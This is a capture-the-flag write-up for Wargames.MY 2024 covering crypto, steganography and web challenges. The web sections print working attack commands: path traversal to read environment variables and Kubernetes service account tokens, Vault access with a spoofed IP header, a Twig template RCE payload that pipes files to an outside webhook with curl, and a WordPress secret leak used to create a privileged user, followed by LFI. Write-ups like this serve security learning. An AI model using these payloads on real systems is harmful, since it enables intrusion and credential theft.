Page cover image

Wargames.MY 2024

Writeup by TFS

Cryptography

Credentials - User Credential Extraction

Description: We found a leak of a blackmarket website’s login credentials. Can you find the password of the user osman and successfully decrypt it

Solution

Files Provided

  1. passwd.txt: A large file containing numerous lines of hash-like or seemingly random strings, some of which appear in a special format (e.g., ZJPB{...}).

  2. user.txt: A text file listing many usernames, including the target user osman.

Goal

  1. Identify which line in passwd.txt corresponds to the user osman.

  2. Extract and decrypt the user’s password.

  3. Present the password in the final flag format: wgmy{...}.


Solution

Step 1: Matching the User to the Password

We are given two files:

  • user.txt: A list of users (one username per line).

  • passwd.txt: A similarly sized list of hashed/encoded/obfuscated passwords (one per line).

In typical username-password leaks, the order of lines in user.txt maps directly to the order in passwd.txt. This means:

  • Line N in user.txt corresponds to Line N in passwd.txt.

Steps:

  1. Scroll through user.txt (or search) to find the line containing osman.

  2. Note its line number.


Step 2: Inspecting the Corresponding Line in passwd.txt

Using the line number from user.txt, locate the corresponding line in passwd.txt. For example, suppose the line contains:

ZJPB{e6g180g9f302g8d8gddg1i2174d0e212}

Observations:

  1. The segment outside the braces is ZJPB.

  2. The segment inside the braces is e6g180g9f302g8d8gddg1i2174d0e212.

We are given a hint that the flag format should be wgmy{...}. This implies a relationship between ZJPB and wgmy.


Step 3: Recognizing the Cipher Shift

Comparing ZJPB with wgmy, we observe:

  • Each letter has shifted backwards by 3 positions in the alphabet.

  • Uppercase letters become lowercase:

Thus, ZJPB becomes wgmy.


Step 4: Decoding the Braced String

Inside the braces, apply the same -3 shift to each letter. Digits remain unchanged. For example:

e6g180g9f302g8d8gddg1i2174d0e212

Decoded result:

b6d180d9c302d8a8daad1f2174a0b212

Step 5: Constructing the Final Flag

To construct the final flag, replace ZJPB with wgmy and use the decoded string:

wgmy{b6d180d9c302d8a8daad1f2174a0b212}

Final Answer

The decrypted password (and final flag) for osman is:

wgmy{b6d180d9c302d8a8daad1f2174a0b212}

Summary

  1. Matched the username osman to the correct line in passwd.txt.

  2. Decoded the ZJPB{...} string using a -3 shift cipher.

  3. Presented the final flag in the required format.


Remarks/Tags/Lesson Learned

  1. Sequential Mapping: Always consider the possibility of one-to-one mapping in files like user.txt and passwd.txt when no additional information is provided.

  2. Cipher Recognition: Simple substitution ciphers (e.g., Caesar cipher with a fixed shift) are commonly used in CTF challenges. Knowing how to identify and decode them is essential.

  3. Attention to Details: Recognizing patterns such as uppercase-to-lowercase conversion and numeric invariance can simplify decoding tasks.

  4. Iterative Problem Solving: Breaking the challenge into smaller steps (e.g., matching, inspecting, decoding, constructing) ensures clarity and minimizes errors.

  5. Flag Formats: Understanding the expected format (wgmy{...}) can guide your decoding process and validate your final result.


Hohoho 3 - CRC Affine Linearity Exploitation

Description: Santa Claus is coming to town! Send your wishes by connecting to the netcat service!

Solution

Files Provided

  1. server.py: The server script containing the logic for registering, logging in, and interacting with the "wishlist."

Goal

  1. Recover the secret value m from the server's token generation process.

  2. Generate Santa's valid token using the recovered m.

  3. Log in as Santa Claus and access the wishlist.

  4. Extract the flag from the wishlist.


Solution

Step 1: Analyze the Code

The server script uses a custom token generation process:

  1. A random 128-bit value m is generated at runtime.

  2. The generateToken function computes a CRC-like value using m and the provided name.

  3. The user provides a name and a token. The server verifies the token using the same logic.

We aim to recover m by analyzing name-token pairs.


Step 2: Collect Name-Token Pairs

The script relies on deterministic token generation. By collecting multiple name-token pairs, we can set up a system of equations to solve for m.

Sample name-token pairs:

("1", "e196388f5631121fd82f251cde281824"),
("2", "dd694a67c95048de52a8a4124a850d4b"),
("3", "783d362ebd5ad4889c6cc9f06dfd1c1b"),
("4", "a497afb6f792fd5d47a7a60f63df2795"),
("5", "1c3d3ff8398610b8963cbed44a736c5"),
...

Step 3: Solve for m Using Z3

We wrote a script (recover_m_z3.py) to solve for m:

from z3 import *
import binascii

# Initialize Z3 solver
solver = Solver()

# Define m as a 128-bit BitVec
m = BitVec('m', 128)

# Function to process each name-token pair
def hex_to_int(hex_str):
    return int(hex_str, 16)

# Add constraints for each name-token pair
for name, token_hex in name_token_pairs:
    token_int = hex_to_int(token_hex)
    crc = BitVecVal((1 << 128) - 1, 128)
    for b in name.encode('utf-8'):
        crc ^= b
        for _ in range(8):
            crc = If(crc & 1, LShR(crc, 1) ^ m, LShR(crc, 1))
    solver.add(crc ^ ((1 << 128) - 1) == token_int)

# Solve for m
if solver.check() == sat:
    model = solver.model()
    m_val = model[m].as_long()
    print(f"Recovered m: {hex(m_val)}")

Running the script gives:

Recovered m: 0xe981fb1981bf7f1d6ce59b947e92934f

Step 4: Generate Santa's Token

Using the recovered m, we generate a valid token for "Santa Claus":

santa_name = "Santa Claus"
santa_token = generate_token(santa_name, m_val)
print(f"Santa's Token: {santa_token}")

Result:

Santa's Token: a367ee652d7050b406ec4dd5e9808827

Step 5: Login and Access Wishlist

We use the generated token to log in as Santa Claus:

Enter your name: Santa Claus
Enter your token: a367ee652d7050b406ec4dd5e9808827
Login successfully as Santa Claus

Access the wishlist:

Enter option: 4
Wishes:
Santa Claus: Merry Christmas! Flag: wgmy{6952956e2749f941428e6d16b169ac91}

Final Answer

The decrypted flag is:

wgmy{6952956e2749f941428e6d16b169ac91}

Summary

  1. Recovered the secret value m by solving the system of equations derived from name-token pairs.

  2. Used m to generate a valid token for "Santa Claus."

  3. Logged in as Santa Claus and accessed the wishlist to retrieve the flag.


Remarks/Tags/Lesson Learned

  1. Custom Token Systems: Analyzing token generation processes often reveals vulnerabilities when they rely on deterministic functions.

  2. Z3 Solver: Using symbolic execution tools like Z3 is essential for solving complex constraints in cryptographic challenges.

  3. Systematic Approach: Collecting data, forming equations, and solving incrementally simplifies CTF challenges.

  4. CRC-Like Functions: Understanding common patterns in CRC or hash algorithms can aid in reversing such processes effectively.

  5. Teamwork and Tools: Challenges like these highlight the importance of both logical analysis and technical tools in solving CTF tasks.


Rick'S Algorithm - RSA Blind Signature Attack

Description: My friend Rick designed an alogrithm that is super secure! Feel free to try it!

Solution


Misc

The DCM Meta - Hexadecimal Parsi

Description: [25, 10, 0, 3, 17, 19, 23, 27, 4, 13, 20, 8, 24, 21, 31, 15, 7, 29, 6, 1, 9, 30, 22, 5, 28, 18, 26, 11, 2, 14, 16, 12]

Solution

Files Provided

  1. challenge.dcm: A DICOM file containing private metadata tags with hidden information.


Command Outputs

└─$ file challenge.dcm 
challenge.dcm: data

└─$ dcmdump challenge.dcm 

# Dicom-File-Format

# Dicom-Meta-Information-Header
# Used TransferSyntax: Unknown Transfer Syntax

# Dicom-Data-Set
# Used TransferSyntax: Little Endian Implicit
(0011,0010) LO [WGMY]                                   #   4, 1 PrivateCreator
(0011,1000) ?? 66\00\00\00                              #   4, 1 Unknown Tag & Data
(0011,1001) ?? 36\00\00\00                              #   4, 1 Unknown Tag & Data
(0011,1002) ?? 33\00\00\00                              #   4, 1 Unknown Tag & Data
(0011,1003) ?? 61\00\00\00                              #   4, 1 Unknown Tag & Data
(0011,1004) ?? 63\00\00\00                              #   4, 1 Unknown Tag & Data
...

The metadata consists of private tags with hexadecimal values. Each tag's first byte (e.g., 66 from 66\00\00\00) contains the hidden information.


Goal

  1. Extract the hidden data from the DICOM metadata.

  2. Apply the scramble list to reveal the final hidden flag.

  3. Present the flag in the standard format: WGMY{...}.


Solution

Step 1: Extract Relevant Bytes

From the metadata, focus on the first byte of each 4-byte value. The resulting sequence is:

66 36 33 61 63 64 33 62 37 38 31 32 37 63 31 64
37 64 33 65 37 30 30 62 35 35 36 36 35 33 35 34

Step 2: Convert Hex to ASCII

Convert the hex values to ASCII:

f6 3a cd 3b 78 12 7c 1d 7d 3e 70 0b 55 66 53 54

This forms an intermediate 32-character string:

f63acd3b78127c1d7d3e700b55665354

Step 3: Apply Scramble List

The challenge provides a scramble list:

[25, 10, 0, 3, 17, 19, 23, 27, 4, 13, 20, 8, 24, 21, 31, 15, 7, 29, 6, 1, 9, 30, 22, 5, 28, 18, 26, 11, 2, 14, 16, 12]

This list reorders the indices of the hex string. The new string S' is constructed by mapping:

  • S'[0] = S[25]

  • S'[1] = S[10]

  • S'[2] = S[0]

  • ...

Applying this reordering gives the final string:

51fadeb6cc77504db336850d53623177

Step 4: Wrap as Flag

Wrap the resulting string in the standard CTF flag format:

WGMY{51fadeb6cc77504db336850d53623177}

Final Answer

The decrypted flag is:

WGMY{51fadeb6cc77504db336850d53623177}

Summary

  1. Extracted the first byte from each 4-byte value in the DICOM metadata.

  2. Converted these bytes from hex to ASCII, forming an intermediate string.

  3. Used the provided scramble list to reorder the string and reveal the hidden data.

  4. Wrapped the result in the standard flag format.


Remarks/Tags/Lesson Learned

  1. Metadata Analysis: Private metadata tags in DICOM files can store hidden information that requires manual extraction.

  2. Hexadecimal Conversion: Understanding hex-to-ASCII conversion is essential for decoding hidden strings in binary files.

  3. Scramble Lists: Challenges often involve reordering data using scramble lists. Automating this process with scripts can save time.

  4. CTF Practices: Breaking challenges into smaller steps—like extraction, conversion, and reordering—ensures a systematic and accurate solution.


Christmas GIFt - GIF Frame Extraction

Description: Here is your christmas GIFt from santa! Just open and wait for it..

Solution

Files Provided

  1. gift.gif: A GIF file that contains hidden information across its frames.


Goal

  1. Analyze the GIF file to extract hidden data.

  2. Find the flag embedded within the file.


Solution

Step 1: Analyze the File Metadata

Using exiftool, we inspect the metadata of gift.gif:

└─$ exiftool -a gift.gif 
ExifTool Version Number         : 12.76
File Name                       : gift.gif
Directory                       : .
File Size                       : 38 MB
File Modification Date/Time     : 2024:12:28 00:26:21-05:00
File Access Date/Time           : 2024:12:29 03:16:14-05:00
File Inode Change Date/Time     : 2024:12:28 00:27:48-05:00
File Permissions                : -rwxrwx---
File Type                       : GIF
File Type Extension             : gif
MIME Type                       : image/gif
GIF Version                     : 89a
Image Width                     : 480
Image Height                    : 480
Has Color Map                   : Yes
Color Resolution Depth          : 8
Bits Per Pixel                  : 8
Background Color                : 0
Frame Count                     : 1402
Duration                        : 917492.00 s
Image Size                      : 480x480
Megapixels                      : 0.230

Key Observations:

  • The file contains 1402 frames.

  • The hidden data is likely embedded in the last frame, as suggested by the challenge description.


Step 2: Extract Frames

To examine the frames, we use GIMP or any frame extraction tool to render all 1402 frames. Follow these steps in GIMP:

  1. Open gift.gif.

  2. The software automatically renders all 1402 frames as separate layers.

  3. Navigate to the last frame.


Step 3: Locate the Flag

Upon inspecting the 1402nd frame, the following flag is revealed:

wgmy{1eaa6da7b7f5df6f7c0381ca93af4d3}

Final Answer

The extracted flag is:

wgmy{1eaa6da7b7f5df6f7c0381ca93af4d3}

Summary

  1. Metadata Analysis: We analyzed the metadata of the GIF file and identified that it contained 1402 frames.

  2. Frame Extraction: Using GIMP, we rendered all frames and inspected the final frame.

  3. Flag Retrieval: The flag was found embedded in the last frame of the GIF.


Remarks/Tags/Lesson Learned

  1. Frame Analysis: When working with GIF files, extracting and analyzing individual frames can reveal hidden information.

  2. Metadata Inspection: Tools like exiftool are essential for identifying important details such as frame counts and durations.

  3. CTF Techniques: Challenges involving GIFs often hide data in specific frames, requiring systematic examination of the entire file.

  4. Tool Familiarity: Knowledge of image manipulation software like GIMP is invaluable for frame-based challenges.


Invisble Ink - GIF Transparency Steganography

Description: The flag is hidden somewhere in this GIF. You can't see it? Must be written in transparent ink.

Solution

Files Provided

  1. challenge.gif: A GIF file with multiple frames, some of which contain hidden data.


Goal

  1. Extract the hidden flag embedded within the frames of the GIF.


Solution

Step 1: Analyze the File Metadata

Using exiftool, we inspect the metadata of challenge.gif:

└─$ exiftool -a challenge.gif 
ExifTool Version Number         : 12.76
File Name                       : challenge.gif
Directory                       : .
File Size                       : 60 kB
File Modification Date/Time     : 2024:12:27 13:44:00-05:00
File Access Date/Time           : 2024:12:28 02:14:11-05:00
File Inode Change Date/Time     : 2024:12:27 15:33:03-05:00
File Permissions                : -rwxrwx---
File Type                       : GIF
File Type Extension             : gif
MIME Type                       : image/gif
GIF Version                     : 89a
Image Width                     : 400
Image Height                    : 400
Has Color Map                   : Yes
Color Resolution Depth          : 1
Bits Per Pixel                  : 8
Background Color                : 0
Animation Iterations            : Infinite
Transparent Color               : 2
Frame Count                     : 7
Duration                        : 4.02 s
Image Size                      : 400x400
Megapixels                      : 0.160

Key Observations:

  • The file contains 7 frames.

  • Transparency is used, suggesting hidden information might be embedded using alpha layers or color maps.


Step 2: Analyze Frames

To examine the individual frames, we use Stegsolve.jar:

  1. Open challenge.gif in Stegsolve.

  2. Use the Frame Browser function to analyze all 7 frames.

  3. Frames 5 and 6 show unusual visuals, indicating they likely contain the hidden flag.


Step 3: Save and Analyze Frames 5 and 6

  1. Save frames 5 and 6 as separate PNG files.

  2. Open frame 5 in Stegsolve and apply the Alpha Plane 7 filter. This reveals half of the flag.

  3. Save the processed frame 5 as a new PNG file.

  4. Open frame 6 in Stegsolve and apply the Random Color Map 3 filter. This reveals the other half of the flag.

  5. Save the processed frame 6 as another new PNG file.


Step 4: Combine Processed Frames

  1. Open the processed frame 5 in Stegsolve.

  2. Use the Image Combiner function to merge it with the processed frame 6.

  3. The full flag is now visible.


Step 5: Extract the Flag

The combined image reveals the flag:

wgmy{41d8cd98f00b204e9800998ecf8427e}

Final Answer

The extracted flag is:

wgmy{41d8cd98f00b204e9800998ecf8427e}

Summary

  1. Metadata Analysis: We analyzed the GIF's metadata and identified frames 5 and 6 as containing hidden data.

  2. Frame Extraction: Using Stegsolve, we examined individual frames and applied appropriate filters.

  3. Flag Reconstruction: Combining the processed frames revealed the complete flag.


Remarks/Tags/Lesson Learned

  1. Transparency Layers: Hidden data in GIFs often utilizes transparency or alpha channels. Familiarity with these techniques is crucial.

  2. Frame Browser for GIFs: Using the Frame Browser function in tools like Stegsolve allows for easy separation and inspection of frames, which is essential for identifying where data is embedded.

  3. Filters in Stegsolve: Different filters (e.g., Alpha Plane or Random Color Map) can reveal obscured information in images, highlighting the importance of trying various options.

  4. Image Combining: When fragments of information are spread across frames, combining processed images systematically can uncover the full hidden data.

  5. Tool Expertise: Developing proficiency with tools like Stegsolve not only aids in solving challenges but also improves efficiency in recognizing common steganography patterns in CTFs.


Watermarked? - Steganography with Watermark Anything

Description: Got this from social media, someone said it's watermarked, is it?

Solution

Files Provided

  1. watermarked.gif: A GIF file with multiple frames, potentially containing hidden watermarks.


Goal

  1. Split the GIF into individual frames for processing.

  2. Decode watermarks embedded in each frame using the "Watermark Anything" framework.

  3. Compile the extracted messages to identify any coherent data, such as a flag or meaningful text.


Solution

Step 1: Frame Extraction

The GIF was split into 78 individual frames using the ffmpeg tool.

Command Used:

ffmpeg -i watermarked.gif -vf "fps=30" frames/frame_%03d.png

This command created PNG images named sequentially (e.g., frame_001.png, frame_002.png).


Step 2: Watermark Decoding

Each frame was processed using the following Python script leveraging the "Watermark Anything" framework:

import os
import numpy as np
from PIL import Image
import torch
import torch.nn.functional as F
from watermark_anything.data.metrics import msg_predict_inference
from notebooks.inference_utils import (
    load_model_from_checkpoint,
    default_transform,
    msg2str,
    multiwm_dbscan,
)

# Device setup: Use GPU if available, otherwise fallback to CPU
device = torch.device("cuda" if torch.cuda.is_available() else "cpu")

# Function to load images
def load_img(path):
    img = Image.open(path).convert("RGB")
    img = default_transform(img).unsqueeze(0).to(device)  # Transform and add batch dimension
    return img

# Load the Watermark Anything model from checkpoint
exp_dir = "checkpoints"
json_path = os.path.join(exp_dir, "params.json")
ckpt_path = os.path.join(exp_dir, "wam_mit.pth")
wam = load_model_from_checkpoint(json_path, ckpt_path).to(device).eval()

# Function to convert binary to ASCII
def binary_to_ascii(binary_string):
    n = 8  # 8 bits per character
    ascii_text = "".join(
        chr(int(binary_string[i:i + n], 2)) for i in range(0, len(binary_string), n)
    )
    return ascii_text

# Function to detect and decode a watermark
def detect_watermark(image_path, wam):
    # Load and preprocess the image
    img_pt = load_img(image_path)

    # Detect the watermark in the image
    preds = wam.detect(img_pt)["preds"]  # Predictions: [1, 33, 256, 256]
    mask_preds = F.sigmoid(preds[:, 0, :, :])  # Predicted mask: [1, 256, 256]
    bit_preds = preds[:, 1:, :, :]  # Predicted bits: [1, 32, 256, 256]

    # Decode the message
    pred_message = msg_predict_inference(bit_preds, mask_preds).cpu().float()  # [1, 32]
    binary_message = "".join(str(int(bit)) for bit in pred_message[0].tolist())  # Convert to binary string
    ascii_message = binary_to_ascii(binary_message)  # Convert binary to ASCII
    return ascii_message

# Parameters
img_dir = "frames"  # Directory containing the extracted frames
output_file = "decoded_messages.txt"  # File to save all decoded messages

# Process each frame and compile decoded messages
print(f"Processing frames from: {img_dir}")
all_decoded_messages = []

for frame_file in sorted(os.listdir(img_dir)):
    if not frame_file.endswith(".png"):
        continue

    frame_path = os.path.join(img_dir, frame_file)

    # Detect and decode watermark
    print(f"Detecting watermark in frame: {frame_file}")
    decoded_message = detect_watermark(frame_path, wam)
    all_decoded_messages.append(f"Frame {frame_file}: {decoded_message}")
    print(f"Decoded Message: {decoded_message}")

# Save all decoded messages to a single file
with open(output_file, "w") as f:
    f.write("\n".join(all_decoded_messages))
print(f"\nAll decoded messages have been saved to {output_file}")

Key Notes:

  • The script utilized the "Watermark Anything" framework available on GitHub.

  • It was executed in the provided Colab notebook for GPU acceleration.


Step 3: Key Output

Decoded messages from frames 42 to 54 revealed the flag:

Frame frame_042.png: u: w
Frame frame_043.png: gmy{
Frame frame_044.png: 2cc4
Frame frame_045.png: 6df0
Frame frame_046.png: 6df0
Frame frame_047.png: fb62
Frame frame_048.png: c2a9
Frame frame_049.png: 2732
Frame frame_050.png: a4d2
Frame frame_051.png: 52b8
Frame frame_052.png: 52b8
Frame frame_053.png: d9a7
Frame frame_054.png: }. T

Compiling the meaningful segments from these messages forms the flag:

wgmy{2cc46df06df0fb62c2a92732a4d252b852b8d9a7}

Final Answer

The reconstructed flag is:

wgmy{2cc46df06df0fb62c2a92732a4d252b852b8d9a7}

Summary

  1. Frame Extraction: We used ffmpeg to split the GIF into 78 frames for individual analysis.

  2. Watermark Decoding: The "Watermark Anything" framework decoded hidden messages from the extracted frames.

  3. Flag Compilation: Combining meaningful segments from the decoded messages revealed the hidden flag.


Remarks/Tags/Lesson Learned

  1. GIF Frame Splitting: Tools like ffmpeg are efficient for extracting individual frames from animated GIFs.

  2. Watermark Detection: The "Watermark Anything" framework is highly effective for identifying and decoding embedded messages in images.

  3. Binary-to-ASCII Conversion: Understanding binary encoding and ASCII decoding is crucial for reconstructing meaningful messages from raw data.

  4. Sequential Processing: Systematic frame-by-frame analysis helps isolate relevant information, especially in steganographic challenges.

  5. Colab for GPU Acceleration: Leveraging cloud platforms like Colab can significantly speed up computational tasks like watermark detection.


Web

Warmup 2 - Kubernetes Vault Exploit

Description: Good morning everyone (GMT+8), let's do some warmup! Check out dart.wgmy @ 13.76.138.239

Solution

Files Provided

  1. Dart Web Application Source Code: A server using the Jaguar web framework.


Tools Used

  1. curl: For HTTP requests to exploit the directory traversal vulnerability.


Goals

  1. Identify potential vulnerabilities in the Dart web application.

  2. Exploit the vulnerability to access the environment variable.

  3. Extract the flag.


Solution

Step 1: Analyze the Web Application

  1. Source Code Review:

    • The web application uses the Jaguar framework and serves static files from /app/public:

      import 'package:jaguar/jaguar.dart';
      
      void main() async {
        final server = Jaguar(port: 80);
        server.staticFiles('/*', '/app/public');
        server.log.onRecord.listen(print);
        await server.serve(logRequests: true);
      }
  2. Vulnerability Identification:

    • A known issue in the Jaguar framework (https://github.com/Jaguar-dart/jaguar/issues/157) allows directory traversal via ..%2F in URLs.

    • This can potentially expose sensitive files, including environment variables.


Step 2: Exploiting Directory Traversal

  1. Crafting the Exploit:

    • Using curl, construct a URL to access /proc/self/environ through directory traversal:

      curl "http://dart.wgmy/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fproc/self/environ" --output env
  2. Output:

    • The environment variable dump includes the flag:

      PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
      HOSTNAME=dart-5cc994657c-jr6gk
      WGMY_FLAG=wgmy{1ab97a2708d6190bf882c1acc283984a}
      KUBERNETES_PORT_443_TCP=tcp://10.43.0.1:443
      ...

Final Answer

The extracted flag is:

wgmy{1ab97a2708d6190bf882c1acc283984a}

Summary

  1. Source Code Analysis: Identified a directory traversal vulnerability in the Jaguar framework.

  2. Exploit Construction: Used curl to exploit the vulnerability and access /proc/self/environ.

  3. Flag Retrieval: Extracted the flag from the environment variable dump.


Remarks/Tags/Lesson Learned

  1. Framework Vulnerabilities: Be aware of known issues in web frameworks, as they can introduce critical vulnerabilities.

  2. Environment Variables: Sensitive information should not be stored in plain-text environment variables accessible by the application.

  3. Kubernetes Security: Ensure proper container security practices, such as restricting access to /proc and other sensitive directories.

  4. Exploit Construction: Crafting precise directory traversal paths can effectively exploit vulnerable applications.


Secret 2 - Dart Jaguar Directory Traversal

Description: Can you get the secret this time? Check out nginx.wgmy @ 13.76.138.239

Solution

Files Provided

  1. Dart Web Application Configuration: Includes server setup and Vault integration.

  2. Nginx Configuration: Contains rules for proxying and access control to the Vault.


Tools Used

  1. curl: For HTTP requests to exploit LFI and retrieve the flag.

  2. jq: For parsing JSON responses.


Goals

  1. Exploit the Local File Inclusion (LFI) vulnerability to access the service account token.

  2. Use the service account token to authenticate with the Vault.

  3. Retrieve the flag stored in the Vault.


Solution

Step 1: Retrieve Service Account Token

  1. Exploiting LFI:

    • The LFI vulnerability from the Warmup challenge is used to access the Kubernetes service account token:

      curl "http://dart.wgmy/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fvar/run/secrets/kubernetes.io/serviceaccount/token" --output token.txt
    • The token is saved to token.txt for subsequent use.


Step 2: Obtain Vault Client Token

  1. Using the Service Account Token:

    • The service account token is used to authenticate with the Vault's Kubernetes login endpoint:

      VAULT_TOKEN=$(curl -s -X POST "http://nginx.wgmy/vault/v1/auth/kubernetes/login" \
        -H "Content-Type: application/json" \
        -H "X-Real-IP: 10.0.0.1" \
        -d @- <<EOF | jq -r '.auth.client_token'
      {
        "jwt": "$(cat token.txt)",
        "role": "wgmy"
      }
      EOF
      )
    • The VAULT_TOKEN is extracted from the JSON response.


Step 3: Retrieve the Flag

  1. Accessing the Vault API:

    • With the Vault client token, send a request to retrieve the flag stored in the kv secret engine:

      curl -s "http://nginx.wgmy/vault/v1/kv/data/flag" \
        -H "X-Vault-Token: ${VAULT_TOKEN}" \
        -H "X-Real-IP: 10.0.0.1"
  2. Output:

    • The response contains the flag in the data section.


Final Answer

The extracted flag is:

wgmy{1bc665d324c5bd5e7707909d03217681}

Summary

  1. Service Account Token Extraction: Used LFI to access the Kubernetes service account token.

  2. Vault Authentication: Authenticated with the Vault API using the service account token to obtain a client token.

  3. Flag Retrieval: Queried the Vault to extract the flag.


Remarks/Tags/Lesson Learned

  1. LFI Exploitation: Leveraging directory traversal vulnerabilities can expose sensitive credentials like service account tokens.

  2. Vault Access: Properly securing Vault authentication methods is crucial to prevent unauthorized access.

  3. IP Restrictions: Misconfigured access controls (e.g., allowing spoofed IPs) can undermine security measures.

  4. Time-Sensitive Tokens: The use of short-lived tokens increases the complexity for attackers but can still be exploited if immediate actions are possible.


Dear Admin - Twig Template Injection

Description: Capture the admin's heart with your poetic words, and they might share their secrets in return. 🎭

Solution

Files Provided

  1. Source Code: Includes index.php and admin.php files.

  2. Dockerfile Configuration: Highlights PHP settings (register_argc_argv=On).


Tools Used

  1. Burp Suite: For crafting and sending HTTP requests.

  2. Python FTP Server: To host malicious Twig templates.


Goals

  1. Analyze the Twig templating engine integration.

  2. Leverage the --templatesPath vulnerability for Remote Code Execution (RCE).

  3. Retrieve the flag by bypassing restrictions and exploiting the application.


Solution

Step 1: Analyzing the Web Application

  1. Twig Integration:

    • The application uses Twig templating in the admin_review.twig template via the admin.php script:

      // index.php
      if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['poem'])) {
          $poem = trim($_POST['poem']);
          $ch = curl_init('http://localhost/admin.php?poem=' . urlencode($poem));
          curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
      }
      
      // admin.php
      $poem = trim($_GET['poem']);
      $uniqueId = uniqid('poem_', true);
  2. Relevant Observations:

    • The register_argc_argv=On setting allows passing arguments via argv to the PHP script.

    • Twig’s --templatesPath argument can be used to specify a custom template path.

  3. Reference:

    • The research article on Assetnote explains how to exploit this feature: https://www.assetnote.io/resources/research/how-an-obscure-php-footgun-led-to-rce-in-craft-cms


Step 2: Bypassing the Blacklist

  1. Blacklist in config.php:

    $forbidden = [
        'system', 'exec', 'shell_exec', 'passthru', 'popen', 'proc_open',
        'assert', 'pcntl_exec', 'eval', 'call_user_func', 'ReflectionFunction', 'filter', '~'
    ];
  2. Bypass Technique:

    • Use string concatenation to circumvent the system restriction:

      <div data-gb-custom-block data-tag="set" data-0='s' data-1='s' data-2='s' data-3=',' data-4=',' data-5='s' data-6='t' data-7=',' data-8=',' data-9='m' data-10='' data-11='' data-12='' data-13=''></div>
      {{ ['whoami'] | map(cmd) }}

Step 3: Hosting the Malicious Template

  1. Setup FTP Server:

    • Host the malicious Twig template using Python’s FTP library:

      python3 -m pyftpdlib -p 2121 -w
  2. Malicious Template Payload:

    <div data-gb-custom-block data-tag="set" data-0='s' data-1='s' data-2='s' data-3=',' data-4=',' data-5='s' data-6='t' data-7=',' data-8=',' data-9='m' data-10='' data-11='' data-12='' data-13=''></div>
    {{ ['cat /flag* | curl -X POST -d @- https://webhook.site/062c9157-61d7-4417-95f6-dd084c2b0c89'] | map(cmd) }}

Step 4: Exploiting the Application

  1. HTTP Request via Burp Suite:

    • Submit the crafted payload to exploit the --templatesPath argument:

      POST /index.php HTTP/1.1
      Host: localhost
      Content-Type: application/x-www-form-urlencoded
      
      poem=Roses+are+red%0AViolets+are+blue%0ASugar+is+sweet+--templatesPath=ftp://anonymous:@<hostedserverip>:2121/
  2. Result:

    • The payload sends the flag to the specified webhook.


Final Answer

The extracted flag is:

wgmy{eae236d68a96aed8af76923357728478}

Summary

  1. Twig RCE Exploitation: Exploited --templatesPath in Twig to achieve RCE.

  2. Blacklist Bypass: Circumvented forbidden function checks using string concatenation.

  3. Payload Execution: Used a custom FTP-hosted Twig template to retrieve the flag.


Remarks/Tags/Lesson Learned

  1. Misconfigured PHP Settings: Improper use of register_argc_argv can expose applications to exploitation.

  2. Template Path Injection: Avoid allowing user-defined template paths without strict validation.

  3. Blacklist Limitations: Function blacklists are insufficient for securing applications against determined attackers.


WordMarket - WooCommerce Plugin LFI Exploit

Description: I’ve set up a WordPress eCommerce site for a client. Can you check if it’s secure enough for production? Give it a look and see if anything stands out.

Solution

Files Provided

  1. WordPress Instance: Includes WooCommerce plugin and custom plugins.

  2. Plugins:

    • cities-shipping-zones-for-woocommerce

    • wgmy-functions


Tools Used

  1. curl: For interacting with WordPress REST API and admin-ajax endpoints.

  2. Burp Suite: For intercepting and modifying HTTP requests.


Goals

  1. Exploit the custom plugin (wgmy-functions) to retrieve a secret.

  2. Leverage the secret to create a new WordPress user with administrative privileges.

  3. Use the cities-shipping-zones-for-woocommerce plugin to achieve Local File Inclusion (LFI) and extract the flag.


Solution

Step 1: Analyze the wgmy-functions Plugin

  1. REST Endpoint to Add User:

    • The user_creation_menu function allows adding a new user if the correct secret is provided.

      add_action( 'rest_api_init', function () {
          register_rest_route( 'wgmy/v1', '/add_user', array(
              'methods' => 'POST',
              'callback' => 'user_creation_menu',
              'permission_callback' => '__return_true',
          ));
      });
  2. Fetching the Secret:

    • The get_config function reveals the secret when switch=1 is sent via the admin-ajax.php endpoint:

      add_action("wp_ajax_get_config", "get_config");
      add_action("wp_ajax_nopriv_get_config", "get_config");
      
      function get_config() {
          if (isset($_POST["switch"]) && $_POST["switch"] === "1") {
              $secret_value = get_option('wgmy_secret');
              if ($secret_value) {
                  echo json_encode(array('secret' => $secret_value));
              }
          }
      }
  3. Retrieve the Secret:

    • Use the following curl command:

      curl -X POST -d "switch=1" "http://46.137.193.2/wp-admin/admin-ajax.php?action=get_config"
    • Output:

      {"secret":"owoE3Yx0h61pwosXyno2FiOtVe9CaHd6lx"}

Step 2: Add a New User

  1. Create User:

    • Use the retrieved secret to add a shop_manager user:

      curl -X POST "http://46.137.193.2/wp-json/wgmy/v1/add_user" \
      -H "Content-Type: application/x-www-form-urlencoded" \
      -d "role=shop_manager&login=myuser&password=SecureP@ss123&email=myemail@example.com&secret=owoE3Yx0h61pwosXyno2FiOtVe9CaHd6lx"
    • Output:

      {"message":"User created successfully!","user_id":3}
  2. Log In:

    • Use the newly created credentials to log into WordPress.


Step 3: Exploit LFI in cities-shipping-zones-for-woocommerce Plugin

  1. Vulnerable Code:

    • The wc_sanitize_option_wc_csz_set_zone_locations function uses include() without sufficient sanitization:

      public function wc_sanitize_option_wc_csz_set_zone_locations( $value, $option ) {
          if (!empty($value) && !empty($_POST['wc_csz_countries_codes']) && !empty($_POST['wc_csz_set_zone_country'])) {
              include('i18n/cities/' . $_POST['wc_csz_set_zone_country'] . '.php');
          }
      }
  2. LFI Exploitation:

    • Intercept the request in Burp Suite and modify the wc_csz_set_zone_country parameter to include a path traversal payload:

      POST /wp-admin/admin-ajax.php?action=get_config HTTP/1.1
      Host: 46.137.193.2
      Content-Type: application/x-www-form-urlencoded
      
      wc_csz_set_zone_country=../../../../../../../../flag
  3. Flag Extraction:

    • The response body contains the flag.


Final Answer

The extracted flag is:

wgmy{7beb8af77b68e7d8c68170b1cc2c0e91}

Summary

  1. Secret Extraction: Retrieved the secret via an insecure admin-ajax.php endpoint.

  2. User Creation: Used the secret to create a shop_manager user.

  3. LFI Exploitation: Leveraged the vulnerable include() function to access sensitive files.


Remarks/Tags/Lesson Learned

  1. REST API Security: Secure REST endpoints with proper authentication and input validation.

